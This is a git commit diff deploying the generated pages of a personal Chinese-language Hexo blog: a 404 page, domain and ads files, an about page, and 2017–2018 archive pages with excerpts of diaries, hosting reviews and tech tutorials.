commit 4873e4d9287d1b223b8029c82ff86f945923269b
Author: hans362
Date: Wed Apr 24 14:31:18 2024 +0000
deploy: hans362/MyBlog@940c774a408ce0796549a1affd569a30f2460641
diff --git a/.nojekyll b/.nojekyll
new file mode 100644
index 00000000..e69de29b
diff --git a/404.html b/404.html
new file mode 100644
index 00000000..9d2007b5
--- /dev/null
+++ b/404.html
@@ -0,0 +1,101 @@
+
+
+
+
+ 404 | Hans362 's Blog
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ The resource you are accessing does not exist or has been deleted.
+
+ ← back to home
+
+
+
+
+
+
diff --git a/CNAME b/CNAME
new file mode 100644
index 00000000..2f5db835
--- /dev/null
+++ b/CNAME
@@ -0,0 +1 @@
+blog.hans362.cn
diff --git a/about/index.html b/about/index.html
new file mode 100644
index 00000000..871b6e3e
--- /dev/null
+++ b/about/index.html
@@ -0,0 +1 @@
+关于 | Hans362 's Blog 加载中...
关于 Hans362作为一个懒癌晚期患者懒得写个人简介了,就用贴标签的方式介绍一下自己吧ಠ_ಠ
学生|PHP是世界上最好的语言|不会卖萌|MineCraft玩家|视频剪辑|CSS渣渣|懒癌晚期|重度强迫症患者
咳咳…还是来个完整的自我介绍吧
我叫Hans362,大家也可以叫我牛奶(这个名字在二次元三次元通用的,四不四很棒) 游戏只爱MineCraft,已入正 擅长 PHP渣渣一枚,CSS也很渣会写Html和MarkDown(好像没什么值得炫耀的…)会视频剪辑 喜欢交朋友,欢迎各位大佬来我的博客,轻喷 地理位置:上海~有人愿意面基的咩?~QwQ 需要联系我的话一般可以发邮件到i@hans362.cn,也可以博客上直接留言滴,当然我不一定有时间去看 Hans362 出没地点邮箱:i@hans362.cn Telegram:https://t.me/hans362 Teleblog:https://t.me/Hans362sTeleblog GitHub:https://github.com/hans362 QQ:???不存在的 还有就是本博客啦~其中TG不太常用因为…梯子不太稳 TG 现已成为最常出没地点
关于 Hans362 's Blog不管你是从何处了解到本博客的,首先恭喜你,竟然能够在如此之大的网络世界中找到这个地方,可能这就是缘分吧23333
Hans362 's Blog是我的博客,取名也很直白呢。在这个时代,或许还在使用独立博客的人已经不多了,但我还是搭建了这个博客,毕竟在茫茫互联网中有属于自己的一片土地,想想也很幸福呐~
这个博客主要用来水一水+吐槽+记录生活+发很水的技术向文章,那么以下就是本博客的历史时间线:
时间节点 事件 2017.12.20 博客正式开启,托管于 牛奶云 MilkCloud ,使用 CloudFlare 加速 2018.2.11 博客迁移至 Coding Pages,关闭 CloudFlare 加速 2018.6.4 博客启用新域名blog.hans362.cn ,并迁移至 WootHosting(传说中的超售大王,但是便宜啊~一年才一美刀),使用 CloudFlare 加速2018.9.12 博客迁移至 NAVER CLOUD HK-NTT 服务器,针对电信联通 CloudFlare 加速 2018.12.29 博客正式迁移至 GitHub Pages ,加入静态博客大家庭( Hexo 真好用)
关于版权本博客所有文章若无特殊说明均为原创,著作权归Hans362所有,采用知识共享署名-相同方式共享4.0国际许可协议进行许可,可进行非商业性质转载,但请注明出处并设置超链接到对应源文章。一经发现有违规转载者将严肃处理。
如果本博客有违规转载内容(应该不会有的啦…),请务必在相应文章下方与我取得联系,我将立即撤下。
感谢您的配合,愿有一天,版权意识能够在每个人的心中:-)
总之就是这样,感谢各位的阅读ᕕ(ᐛ)ᕗ
关于
转载或引用本文时请遵守许可协议,注明出处、不得用于商业用途!
喜欢这篇文章吗?考虑支持一下作者吧~
爱发电 支付宝
\ No newline at end of file
diff --git a/ads.txt b/ads.txt
new file mode 100644
index 00000000..e294c52c
--- /dev/null
+++ b/ads.txt
@@ -0,0 +1 @@
+google.com, pub-8746554831230893, DIRECT, f08c47fec0942fa0
\ No newline at end of file
diff --git a/archives/2017/12/index.html b/archives/2017/12/index.html
new file mode 100644
index 00000000..a947194a
--- /dev/null
+++ b/archives/2017/12/index.html
@@ -0,0 +1 @@
+归档:2017/12 | Hans362 's Blog 加载中...
Hans362 's Blog 是时候和2017说再见了 时间过得这么快的嘛…转眼已到2017年的最后一天啦
回忆这一年真的是发生了很多事情呢,可以说是有喜有悲吧…
是时候和2017说再见了 (水)收到了来自AWS Educate送的$25代金券~
(水)收到了来自AWS Educate送的$25代金券~ 使用Jenkins CI为Nukkit持续集成 最近搭了个Jenkins,在一番艰难困苦 的研究之后,终于成功的使用Jenkins编译了一个Maven项目Nukkit。虽然过程艰辛了点,但是从长远来看还是挺方便的,实现了自动检测GayHub上面的项目更新并且自动完成构建,岂不美哉?
使用Jenkins CI为Nukkit持续集成 周记#2 各位早上好中午好晚上好~我是Hans362
又到了写周记的时候啦,真是难以置信呢,一周过去了我居然按时来更新了。这次不说那么多废话了,直接进入正题吧
周记#2 IIS环境下为Typecho配置伪静态 Typecho是一款轻量级的基于PHP的博客程序,界面简洁,简单明了,而且它还可以使用内置的固定链接功能让博客看上去像静态页面。
IIS环境下为Typecho配置伪静态 遇到怪事了-玄学的ApacheTomcat容器 最近把Jenkins移到了新的服务器上,由于已经自带Apache Tomcat所以就使用War包的方式部署Jenkins,然而我一不小心手贱重启了Tomcat,于是这只该死的Tomcat就罢工了。
遇到怪事了-玄学的ApacheTomcat容器 搭了个Jenkins CI~ 虽说我已经是懒癌晚期了但是为了方便自己 大家还是搭了个Jenkins。平时可以自动在上面构建一些项目什么的,还是挺方便的呢
这次和大家分享一下搭建的过程吧~
搭了个Jenkins CI~ 周记#1 哈罗大家好这里是Hans362~
没错正如你所看见的那样我开了一个周记板块哈哈哈哈哈哈哈哈哈嗝 ~
大概是受到蚊子大佬的启发吧233页开始写周记了XD
不过其实我是不太喜欢写作的,比起在纸上写周记我更爱我的键盘=w=
下面就来讲讲这周我的摸鱼 学习生活,这些周记打算写完存起来给自己看,也给大家一个了解我的方式
周记#1
\ No newline at end of file
diff --git a/archives/2017/12/page/2/index.html b/archives/2017/12/page/2/index.html
new file mode 100644
index 00000000..74215216
--- /dev/null
+++ b/archives/2017/12/page/2/index.html
@@ -0,0 +1 @@
+归档:2017/12 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/2017/index.html b/archives/2017/index.html
new file mode 100644
index 00000000..b8556b0c
--- /dev/null
+++ b/archives/2017/index.html
@@ -0,0 +1 @@
+归档:2017 | Hans362 's Blog 加载中...
Hans362 's Blog 是时候和2017说再见了 时间过得这么快的嘛…转眼已到2017年的最后一天啦
回忆这一年真的是发生了很多事情呢,可以说是有喜有悲吧…
是时候和2017说再见了 (水)收到了来自AWS Educate送的$25代金券~
(水)收到了来自AWS Educate送的$25代金券~ 使用Jenkins CI为Nukkit持续集成 最近搭了个Jenkins,在一番艰难困苦 的研究之后,终于成功的使用Jenkins编译了一个Maven项目Nukkit。虽然过程艰辛了点,但是从长远来看还是挺方便的,实现了自动检测GayHub上面的项目更新并且自动完成构建,岂不美哉?
使用Jenkins CI为Nukkit持续集成 周记#2 各位早上好中午好晚上好~我是Hans362
又到了写周记的时候啦,真是难以置信呢,一周过去了我居然按时来更新了。这次不说那么多废话了,直接进入正题吧
周记#2 IIS环境下为Typecho配置伪静态 Typecho是一款轻量级的基于PHP的博客程序,界面简洁,简单明了,而且它还可以使用内置的固定链接功能让博客看上去像静态页面。
IIS环境下为Typecho配置伪静态 遇到怪事了-玄学的ApacheTomcat容器 最近把Jenkins移到了新的服务器上,由于已经自带Apache Tomcat所以就使用War包的方式部署Jenkins,然而我一不小心手贱重启了Tomcat,于是这只该死的Tomcat就罢工了。
遇到怪事了-玄学的ApacheTomcat容器 搭了个Jenkins CI~ 虽说我已经是懒癌晚期了但是为了方便自己 大家还是搭了个Jenkins。平时可以自动在上面构建一些项目什么的,还是挺方便的呢
这次和大家分享一下搭建的过程吧~
搭了个Jenkins CI~ 周记#1 哈罗大家好这里是Hans362~
没错正如你所看见的那样我开了一个周记板块哈哈哈哈哈哈哈哈哈嗝 ~
大概是受到蚊子大佬的启发吧233页开始写周记了XD
不过其实我是不太喜欢写作的,比起在纸上写周记我更爱我的键盘=w=
下面就来讲讲这周我的摸鱼 学习生活,这些周记打算写完存起来给自己看,也给大家一个了解我的方式
周记#1
\ No newline at end of file
diff --git a/archives/2017/page/2/index.html b/archives/2017/page/2/index.html
new file mode 100644
index 00000000..e33429b2
--- /dev/null
+++ b/archives/2017/page/2/index.html
@@ -0,0 +1 @@
+归档:2017 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/2018/01/index.html b/archives/2018/01/index.html
new file mode 100644
index 00000000..caf28b5f
--- /dev/null
+++ b/archives/2018/01/index.html
@@ -0,0 +1,2 @@
+归档:2018/1 | Hans362 's Blog 加载中...
Hans362 's Blog 略有失望的VPS体验 - AWS LightSail评测 您现在看到的这篇文章编辑于运行Windows系统的LightSail服务器
+
拖延症有点严重啊…这篇评测本来是去年就打算写的,一直拖到现在…
咳咳…下面进入正题…
LightSail是由AWS推出的一款适合个人、团队或小型企业的云计算服务,它与传统EC2相比性价比更高,且对于初次接触云计算的用户来说管理、操作更为方便。
略有失望的VPS体验 - AWS LightSail评测 【已修复】好气啊(`ヘ´)=3这个BUG就真的修不好了么...
【已修复】好气啊(`ヘ´)=3这个BUG就真的修不好了么... 【项目发布】LightWhite_For_PaperInk 经过一段时间的努力,我已经成功(算是吧…)将本博客使用的主题移植到了纸小墨静态博客上,故发此文进行说明。
首先感谢蚊子大佬的LightWhite主题,真的超厉害的呢~目前我移植的纸小墨主题是基于LightWhite 1.3.1版本,如果后面原作者有更新的话我也会第一时间更进的(可能吧…)各位有能力也可以把自己移植的最新主题提交个PullRequest
【项目发布】LightWhite_For_PaperInk 周记#5 - 突然失踪原因 距离上次写博客已经8天了呢~期末考试早已结束,成绩也知道了,不管考得怎样,反正已经过去了òᆺó
那么我为啥消失了这么久呢…请往下看
周记#5 - 突然失踪原因 哇我居然填坑了2333 之前不是在周记里说要把本博客使用的LightWhite主题移植到纸小墨上面嘛… 写完周记我就认为自己立Flag了,绝对是个大坑,自己不会去填坑的2333
然而刚才抽出时间稍微移植了几个文件,Push到了GayHub上面,顺便生成了一个使用LightWhite主题的纸小墨静态博客,放在GitHub Pages上面~
(继续阅读)
哇我居然填坑了2333 周记#3 大家周末好~我是消失将近一周的Hans362(≧∇≦)
又到写周记的时候啦!
那么我这周都干了些什么呢?不告诉你 ↘️
周记#3
\ No newline at end of file
diff --git a/archives/2018/02/index.html b/archives/2018/02/index.html
new file mode 100644
index 00000000..40a55304
--- /dev/null
+++ b/archives/2018/02/index.html
@@ -0,0 +1 @@
+归档:2018/2 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#8 各位,好又到了每周一次的周记文 周记时间~
一直觉得博客没啥干货全是几十个字到几百个字的周记文估计没人看2333
以后可能会更加侧重于写一些技术向的文章吧?
赶快戳右边的按钮读正文吧→
周记#8 周记#6 - 西安旅行日志 好久没更新了…是不是以为我弃坑啦¯_(ツ)_/¯
这个寒假好短啊~才刚刚过了一周就感觉时间已经不够了…
不过即使这样还是抽出时间去旅游了╮( ̄▽ ̄"")╭
这次的目的地是西安
先来几个关键词吧~ |钟鼓楼|兵马俑|西安地铁|月食|西安城墙|肉夹馍|羊肉泡馍|陕历博|大雁塔|
好的,下面正文开始( ´ ▽ ` )ノ 注意!大量图片即将出现,流量党慎入!
周记#6 - 西安旅行日志
\ No newline at end of file
diff --git a/archives/2018/03/index.html b/archives/2018/03/index.html
new file mode 100644
index 00000000..5907da4f
--- /dev/null
+++ b/archives/2018/03/index.html
@@ -0,0 +1 @@
+归档:2018/3 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#9 大家好~快两周没有更新博客了呢…虽然评论之类的一直有在偷偷看啦
不知不觉已经开学一个多月,翻了翻博客发现上一次写周记是在二月份…所以就抽出时间码了这篇文
因为好久没更新了,积累了不少事情和大家分享呢~
所以请各位带着期待读下去吧:-)
周记#9 性价比高但速度一般 - DigitalOcean5刀云主机评测 DigitalOcean应该算是美国一家比较老牌的云主机商了,经常与Vultr、Linode等廉价的主机商一起出现。作为穷得要死的牛奶,我还是想方设法搞到了一台DO的5刀云主机。(前段时间发现GitHub学生包里还有50刀的DigitalOcean代金券还没有用,嘿嘿不然哪有闲钱买这个啊喂)
性价比高但速度一般 - DigitalOcean5刀云主机评测 UTF8-BOM编码导致Html顶部白条问题 自从给博客加上了Google Adsense的广告,就出现了一个很困扰我的问题:网页顶部莫名空出了一个白条。虽然对于网页的访问没有什么影响,但是…强迫症不能忍啊!这一切的背后,究竟是人性的扭曲,还是道德的沦丧 ,请阅读本篇文章~(大雾
UTF8-BOM编码导致Html顶部白条问题
\ No newline at end of file
diff --git a/archives/2018/04/index.html b/archives/2018/04/index.html
new file mode 100644
index 00000000..ba04c0f6
--- /dev/null
+++ b/archives/2018/04/index.html
@@ -0,0 +1 @@
+归档:2018/4 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#10 大概有一个多月没有写周记了…主要是因为这段时间特别忙,中间趁周末写过几篇技术向的文章和特别周记的说说,周记就完全没空写了,不过现在五一放假终于到啦~
所以我就这么回来啦w 写了这篇拖了n周的周记
周记#10 给小米路由器3刷入Pandavan 一年前入手了小米路由器3,当初因为听说小米路由器可以刷各种固件(OpenWRT,LEDE,PandoraBox之类的),而且自己也挺喜欢小米的,所以立刻就买了。
拿到后立刻准备开刷,论坛上搜索小米路由器3刷机的帖子,却很少见,几乎没有找到可用的第三方固件。好像是因为小米路由器3采用的Nand Flash的原因,刷死之后搞一个Nand Flash的编程器得800软妹币左右,没人愿意冒这个风险,而且没有breed支持,导致小米路由器3和小米路由器Mini硬件几乎相同(除了Nand Flash)我无语了…果然得事先做好功课啊~
最近无意中看到了扔在一边正在吃灰的小米路由器3,突发奇想又搜了一下刷机方案,发现还真出现了一个。目前唯一的第三方固件是华硕RT-N56U固件,由于采用了相同的芯片(最重要的是老毛子的支持)。
(据说LEDE也专门为MIR3适配了一款固件,但是好像还没看到过刷成功的案例,所以没敢贸然行动…)
预警:如果您准确按照本文的操作步骤操作,一般是不会出问题的,当然不排除刷坏的可能,变砖了赶快去买彩票,别来找我╮( ̄▽ ̄"")╭
给小米路由器3刷入Pandavan
\ No newline at end of file
diff --git a/archives/2018/05/index.html b/archives/2018/05/index.html
new file mode 100644
index 00000000..19e66fd7
--- /dev/null
+++ b/archives/2018/05/index.html
@@ -0,0 +1 @@
+归档:2018/5 | Hans362 's Blog 加载中...
Hans362 's Blog Docker容器Web管理工具 - Shipyard安装与体验 2018.4.19更新:建议各位不要使用了,我的主机已经被黑了,疑似是通过自用的Shipyard攻入的,被恶意运行了挖坑程序,这种停止维护的项目还是尽量不要使用,使用的话请做好防火墙防护措施 最近我开始研究起Docker容器,发现竟然有这么好的东西~最让我喜欢的一点是每个容器之间都是隔离开来的,部署方便,资源利用充分,终于可以为所欲为了呢
然而每次开个容器命令都要敲个半天,懒癌发作,所以我想找一个Docker的WebUI管理器,最终发现了Shipyard
Shipyard是一个基于Web的Docker管理工具,支持多主机,可以把多个Docker主机上的容器统一管理,可以查看镜像,甚至构建镜像,并提供RESTful API等等
遗憾的是,当我写这篇文章的时候,这个项目的作者已经弃坑了,项目处于无人更新维护的状态,所以自己玩玩就好,切勿用于生产环境,以免造成严重后果
地址:http://shipyard-project.com/(打不开的,作者已经弃坑此项目)
Docker容器Web管理工具 - Shipyard安装与体验
\ No newline at end of file
diff --git a/archives/2018/06/index.html b/archives/2018/06/index.html
new file mode 100644
index 00000000..8870ce44
--- /dev/null
+++ b/archives/2018/06/index.html
@@ -0,0 +1 @@
+归档:2018/6 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#11 - 生日快乐! 终于熬到周末了呢~这周实在太累2333
每天睡6小时不到感觉很糟糕,一整天都没精神,周末一定要睡个懒觉!
首先祝自己生日快乐~嗯今天是我生日~14岁啦~
还有各位端午节安康~记得吃粽子哟(咸蛋黄肉粽最好吃不接受任何形式的反驳
周记#11 - 生日快乐!
\ No newline at end of file
diff --git a/archives/2018/07/index.html b/archives/2018/07/index.html
new file mode 100644
index 00000000..64db4d07
--- /dev/null
+++ b/archives/2018/07/index.html
@@ -0,0 +1 @@
+归档:2018/7 | Hans362 's Blog 加载中...
Hans362 's Blog 使用WPScan扫描WordPress博客安全性 写在前面:本文介绍的工具建议仅用于安全性测试,使用请遵守国家规定,本博客不承担任何责任。
最近看到隔壁的@崇宫苟道 的一篇文章《冻果果?00后网络团队?抄袭?(持续更新ing)》 ,看完真的是被吓到了…我暂且先不对冻果果的行为做任何评价,毕竟今天的主题是使用WPScan扫描WordPress博客安全性,既然这个冻果果团队自称很厉害,那么就免费 帮他们做下测试吧~
首先感谢@崇宫苟道 给出的信息,该站的首页是个基于WordPress的论坛(真的长见识了…WP也能做论坛)
那么就拿出WPScan扫一下吧~
(前方大量代码块来啦~为避免影响主页效果,文章已折叠,点击下方继续阅读)
使用WPScan扫描WordPress博客安全性 周记#12 - 终于从监狱里(大雾+划掉)出来啦~ 今天终于可以暂时告别监狱啦!(大雾)
…
好吧~其实是学校2333
自从考完试到现在似乎已经消失了好长一段时间,因为被关在监狱里了23333(大雾x2)一天五节80分钟的课,中午吃饭才能出去转转,这感觉…爽翻了 。到了第五天左右就感觉很糟糕了,累得要死,不过终于撑过去啦!下次上课在八月,至少这中间可以歇一段时间(其实并不…往下看)
周记#12 - 终于从监狱里(大雾+划掉)出来啦~
\ No newline at end of file
diff --git a/archives/2018/08/index.html b/archives/2018/08/index.html
new file mode 100644
index 00000000..ba6d5b05
--- /dev/null
+++ b/archives/2018/08/index.html
@@ -0,0 +1,5 @@
+归档:2018/8 | Hans362 's Blog
+
+
+
+加载中...
Hans362 's Blog 周记#13 - 说起夏天,总有遗憾 这大概是我在闭关前最后一篇文章了
近况不知不觉暑假2个月就过去了…除了上课似乎也没做什么事情就这样过去了…不知为何有种遗憾的感觉,心情有点糟糕呢
原本以为没空出去玩了,可是还是被爸妈拉着出去玩了…去了我爸老家福建连城冠豸山,还去了趟绍兴,原本写好了旅游日志存在Typora里,但是在写这篇周记的时候离开学只有1.5天了,就懒得拿出来整理了
那么就请看我的超长周记~(好像有什么不对的…
周记#13 - 说起夏天,总有遗憾 动画电影《肆式青春》观影感受
大概是第一次写影评呢…写的不好请见谅
为此我可是下了大血本的呢!家附近的影院竟然都没有排片,作为一个穷的要死的学生党忍痛买了B站大会员~~(有钱人的世界呢~~
看完之后顺便找了日语版的二刷了一下
说实话以前没怎么看过这类电影,之前对动画(无论是国漫还是日漫)都没啥兴趣,看见B站上的宣传就看了一下这部电影,就以我的角度谈谈感受吧~
防剧透版: 画面确实值得一看,剧情相对而言可能就没什么新意了,但是有几处对我而言还是挺有感触的。总体来说这部电影还是不错的,但仍有上升空间。若要观看个人建议第一个故事选择日语配音+中文字幕,第二个和第三个故事选择国语配音,B站上的国语版有几处BGM和配音挺尬的。
警告:以下内容可能包含剧透,请务必谨慎阅读,以下为我本人观点,不喜请一定要轻喷啊
动画电影《肆式青春》观影感受 给小米路由器3刷入LEDE 没错,继给小米路由器3刷入Pandavan 之后我这个刷机狂魔又来啦~
这段时间翻了翻恩山无线论坛发现小米路由器3已经有非官方LEDE固件了呢!果断决定刷刷看…
预警:如果您准确按照本文的操作步骤操作,一般是不会出问题的,当然不排除刷坏的可能,变砖了赶快去买彩票,别来找我╮( ̄▽ ̄"")╭
预警²:本文使用的固件非官方固件,而是ptpt52为推广natcap而自行编译的固件,目前经我测试一切正常,若您需要纯净固件请留意LEDE官网有无官方固件发布
给小米路由器3刷入LEDE
\ No newline at end of file
diff --git a/archives/2018/index.html b/archives/2018/index.html
new file mode 100644
index 00000000..bfbbc2c2
--- /dev/null
+++ b/archives/2018/index.html
@@ -0,0 +1,5 @@
+归档:2018 | Hans362 's Blog
+
+
+
+加载中...
Hans362 's Blog 周记#13 - 说起夏天,总有遗憾 这大概是我在闭关前最后一篇文章了
近况不知不觉暑假2个月就过去了…除了上课似乎也没做什么事情就这样过去了…不知为何有种遗憾的感觉,心情有点糟糕呢
原本以为没空出去玩了,可是还是被爸妈拉着出去玩了…去了我爸老家福建连城冠豸山,还去了趟绍兴,原本写好了旅游日志存在Typora里,但是在写这篇周记的时候离开学只有1.5天了,就懒得拿出来整理了
那么就请看我的超长周记~(好像有什么不对的…
周记#13 - 说起夏天,总有遗憾 动画电影《肆式青春》观影感受
大概是第一次写影评呢…写的不好请见谅
为此我可是下了大血本的呢!家附近的影院竟然都没有排片,作为一个穷的要死的学生党忍痛买了B站大会员~~(有钱人的世界呢~~
看完之后顺便找了日语版的二刷了一下
说实话以前没怎么看过这类电影,之前对动画(无论是国漫还是日漫)都没啥兴趣,看见B站上的宣传就看了一下这部电影,就以我的角度谈谈感受吧~
防剧透版: 画面确实值得一看,剧情相对而言可能就没什么新意了,但是有几处对我而言还是挺有感触的。总体来说这部电影还是不错的,但仍有上升空间。若要观看个人建议第一个故事选择日语配音+中文字幕,第二个和第三个故事选择国语配音,B站上的国语版有几处BGM和配音挺尬的。
警告:以下内容可能包含剧透,请务必谨慎阅读,以下为我本人观点,不喜请一定要轻喷啊
动画电影《肆式青春》观影感受 给小米路由器3刷入LEDE 没错,继给小米路由器3刷入Pandavan 之后我这个刷机狂魔又来啦~
这段时间翻了翻恩山无线论坛发现小米路由器3已经有非官方LEDE固件了呢!果断决定刷刷看…
预警:如果您准确按照本文的操作步骤操作,一般是不会出问题的,当然不排除刷坏的可能,变砖了赶快去买彩票,别来找我╮( ̄▽ ̄"")╭
预警²:本文使用的固件非官方固件,而是ptpt52为推广natcap而自行编译的固件,目前经我测试一切正常,若您需要纯净固件请留意LEDE官网有无官方固件发布
给小米路由器3刷入LEDE 使用WPScan扫描WordPress博客安全性 写在前面:本文介绍的工具建议仅用于安全性测试,使用请遵守国家规定,本博客不承担任何责任。
最近看到隔壁的@崇宫苟道 的一篇文章《冻果果?00后网络团队?抄袭?(持续更新ing)》 ,看完真的是被吓到了…我暂且先不对冻果果的行为做任何评价,毕竟今天的主题是使用WPScan扫描WordPress博客安全性,既然这个冻果果团队自称很厉害,那么就免费 帮他们做下测试吧~
首先感谢@崇宫苟道 给出的信息,该站的首页是个基于WordPress的论坛(真的长见识了…WP也能做论坛)
那么就拿出WPScan扫一下吧~
(前方大量代码块来啦~为避免影响主页效果,文章已折叠,点击下方继续阅读)
使用WPScan扫描WordPress博客安全性 周记#12 - 终于从监狱里(大雾+划掉)出来啦~ 今天终于可以暂时告别监狱啦!(大雾)
…
好吧~其实是学校2333
自从考完试到现在似乎已经消失了好长一段时间,因为被关在监狱里了23333(大雾x2)一天五节80分钟的课,中午吃饭才能出去转转,这感觉…爽翻了 。到了第五天左右就感觉很糟糕了,累得要死,不过终于撑过去啦!下次上课在八月,至少这中间可以歇一段时间(其实并不…往下看)
周记#12 - 终于从监狱里(大雾+划掉)出来啦~ 周记#11 - 生日快乐! 终于熬到周末了呢~这周实在太累2333
每天睡6小时不到感觉很糟糕,一整天都没精神,周末一定要睡个懒觉!
首先祝自己生日快乐~嗯今天是我生日~14岁啦~
还有各位端午节安康~记得吃粽子哟(咸蛋黄肉粽最好吃不接受任何形式的反驳
周记#11 - 生日快乐!
\ No newline at end of file
diff --git a/archives/2018/page/2/index.html b/archives/2018/page/2/index.html
new file mode 100644
index 00000000..5eab5d91
--- /dev/null
+++ b/archives/2018/page/2/index.html
@@ -0,0 +1 @@
+归档:2018 | Hans362 's Blog 加载中...
Hans362 's Blog Docker容器Web管理工具 - Shipyard安装与体验 2018.4.19更新:建议各位不要使用了,我的主机已经被黑了,疑似是通过自用的Shipyard攻入的,被恶意运行了挖坑程序,这种停止维护的项目还是尽量不要使用,使用的话请做好防火墙防护措施 最近我开始研究起Docker容器,发现竟然有这么好的东西~最让我喜欢的一点是每个容器之间都是隔离开来的,部署方便,资源利用充分,终于可以为所欲为了呢
然而每次开个容器命令都要敲个半天,懒癌发作,所以我想找一个Docker的WebUI管理器,最终发现了Shipyard
Shipyard是一个基于Web的Docker管理工具,支持多主机,可以把多个Docker主机上的容器统一管理,可以查看镜像,甚至构建镜像,并提供RESTful API等等
遗憾的是,当我写这篇文章的时候,这个项目的作者已经弃坑了,项目处于无人更新维护的状态,所以自己玩玩就好,切勿用于生产环境,以免造成严重后果
地址:http://shipyard-project.com/(打不开的,作者已经弃坑此项目)
Docker容器Web管理工具 - Shipyard安装与体验 周记#10 大概有一个多月没有写周记了…主要是因为这段时间特别忙,中间趁周末写过几篇技术向的文章和特别周记的说说,周记就完全没空写了,不过现在五一放假终于到啦~
所以我就这么回来啦w 写了这篇拖了n周的周记
周记#10 给小米路由器3刷入Pandavan 一年前入手了小米路由器3,当初因为听说小米路由器可以刷各种固件(OpenWRT,LEDE,PandoraBox之类的),而且自己也挺喜欢小米的,所以立刻就买了。
拿到后立刻准备开刷,论坛上搜索小米路由器3刷机的帖子,却很少见,几乎没有找到可用的第三方固件。好像是因为小米路由器3采用的Nand Flash的原因,刷死之后搞一个Nand Flash的编程器得800软妹币左右,没人愿意冒这个风险,而且没有breed支持,导致小米路由器3和小米路由器Mini硬件几乎相同(除了Nand Flash)我无语了…果然得事先做好功课啊~
最近无意中看到了扔在一边正在吃灰的小米路由器3,突发奇想又搜了一下刷机方案,发现还真出现了一个。目前唯一的第三方固件是华硕RT-N56U固件,由于采用了相同的芯片(最重要的是老毛子的支持)。
(据说LEDE也专门为MIR3适配了一款固件,但是好像还没看到过刷成功的案例,所以没敢贸然行动…)
预警:如果您准确按照本文的操作步骤操作,一般是不会出问题的,当然不排除刷坏的可能,变砖了赶快去买彩票,别来找我╮( ̄▽ ̄"")╭
给小米路由器3刷入Pandavan 周记#9 大家好~快两周没有更新博客了呢…虽然评论之类的一直有在偷偷看啦
不知不觉已经开学一个多月,翻了翻博客发现上一次写周记是在二月份…所以就抽出时间码了这篇文
因为好久没更新了,积累了不少事情和大家分享呢~
所以请各位带着期待读下去吧:-)
周记#9 性价比高但速度一般 - DigitalOcean5刀云主机评测 DigitalOcean应该算是美国一家比较老牌的云主机商了,经常与Vultr、Linode等廉价的主机商一起出现。作为穷得要死的牛奶,我还是想方设法搞到了一台DO的5刀云主机。(前段时间发现GitHub学生包里还有50刀的DigitalOcean代金券还没有用,嘿嘿不然哪有闲钱买这个啊喂)
性价比高但速度一般 - DigitalOcean5刀云主机评测 UTF8-BOM编码导致Html顶部白条问题 自从给博客加上了Google Adsense的广告,就出现了一个很困扰我的问题:网页顶部莫名空出了一个白条。虽然对于网页的访问没有什么影响,但是…强迫症不能忍啊!这一切的背后,究竟是人性的扭曲,还是道德的沦丧 ,请阅读本篇文章~(大雾
UTF8-BOM编码导致Html顶部白条问题 周记#8 各位,好又到了每周一次的周记文 周记时间~
一直觉得博客没啥干货全是几十个字到几百个字的周记文估计没人看2333
以后可能会更加侧重于写一些技术向的文章吧?
赶快戳右边的按钮读正文吧→
周记#8
\ No newline at end of file
diff --git a/archives/2018/page/3/index.html b/archives/2018/page/3/index.html
new file mode 100644
index 00000000..ee7a7fc7
--- /dev/null
+++ b/archives/2018/page/3/index.html
@@ -0,0 +1,2 @@
+归档:2018 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#6 - 西安旅行日志 好久没更新了…是不是以为我弃坑啦¯_(ツ)_/¯
这个寒假好短啊~才刚刚过了一周就感觉时间已经不够了…
不过即使这样还是抽出时间去旅游了╮( ̄▽ ̄"")╭
这次的目的地是西安
先来几个关键词吧~ |钟鼓楼|兵马俑|西安地铁|月食|西安城墙|肉夹馍|羊肉泡馍|陕历博|大雁塔|
好的,下面正文开始( ´ ▽ ` )ノ 注意!大量图片即将出现,流量党慎入!
周记#6 - 西安旅行日志 略有失望的VPS体验 - AWS LightSail评测 您现在看到的这篇文章编辑于运行Windows系统的LightSail服务器
+
拖延症有点严重啊…这篇评测本来是去年就打算写的,一直拖到现在…
咳咳…下面进入正题…
LightSail是由AWS推出的一款适合个人、团队或小型企业的云计算服务,它与传统EC2相比性价比更高,且对于初次接触云计算的用户来说管理、操作更为方便。
略有失望的VPS体验 - AWS LightSail评测 【已修复】好气啊(`ヘ´)=3这个BUG就真的修不好了么...
【已修复】好气啊(`ヘ´)=3这个BUG就真的修不好了么... 【项目发布】LightWhite_For_PaperInk 经过一段时间的努力,我已经成功(算是吧…)将本博客使用的主题移植到了纸小墨静态博客上,故发此文进行说明。
首先感谢蚊子大佬的LightWhite主题,真的超厉害的呢~目前我移植的纸小墨主题是基于LightWhite 1.3.1版本,如果后面原作者有更新的话我也会第一时间更进的(可能吧…)各位有能力也可以把自己移植的最新主题提交个PullRequest
【项目发布】LightWhite_For_PaperInk 周记#5 - 突然失踪原因 距离上次写博客已经8天了呢~期末考试早已结束,成绩也知道了,不管考得怎样,反正已经过去了òᆺó
那么我为啥消失了这么久呢…请往下看
周记#5 - 突然失踪原因 哇我居然填坑了2333 之前不是在周记里说要把本博客使用的LightWhite主题移植到纸小墨上面嘛… 写完周记我就认为自己立Flag了,绝对是个大坑,自己不会去填坑的2333
然而刚才抽出时间稍微移植了几个文件,Push到了GayHub上面,顺便生成了一个使用LightWhite主题的纸小墨静态博客,放在GitHub Pages上面~
(继续阅读)
哇我居然填坑了2333 周记#3 大家周末好~我是消失将近一周的Hans362(≧∇≦)
又到写周记的时候啦!
那么我这周都干了些什么呢?不告诉你 ↘️
周记#3
\ No newline at end of file
diff --git a/archives/2018/page/4/index.html b/archives/2018/page/4/index.html
new file mode 100644
index 00000000..4fb01b6e
--- /dev/null
+++ b/archives/2018/page/4/index.html
@@ -0,0 +1 @@
+归档:2018 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/2019/01/index.html b/archives/2019/01/index.html
new file mode 100644
index 00000000..23388709
--- /dev/null
+++ b/archives/2019/01/index.html
@@ -0,0 +1 @@
+归档:2019/1 | Hans362 's Blog 加载中...
